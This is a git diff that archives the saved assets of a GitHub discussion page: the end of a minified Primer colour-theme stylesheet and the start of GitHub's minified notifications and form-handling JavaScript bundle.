rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const 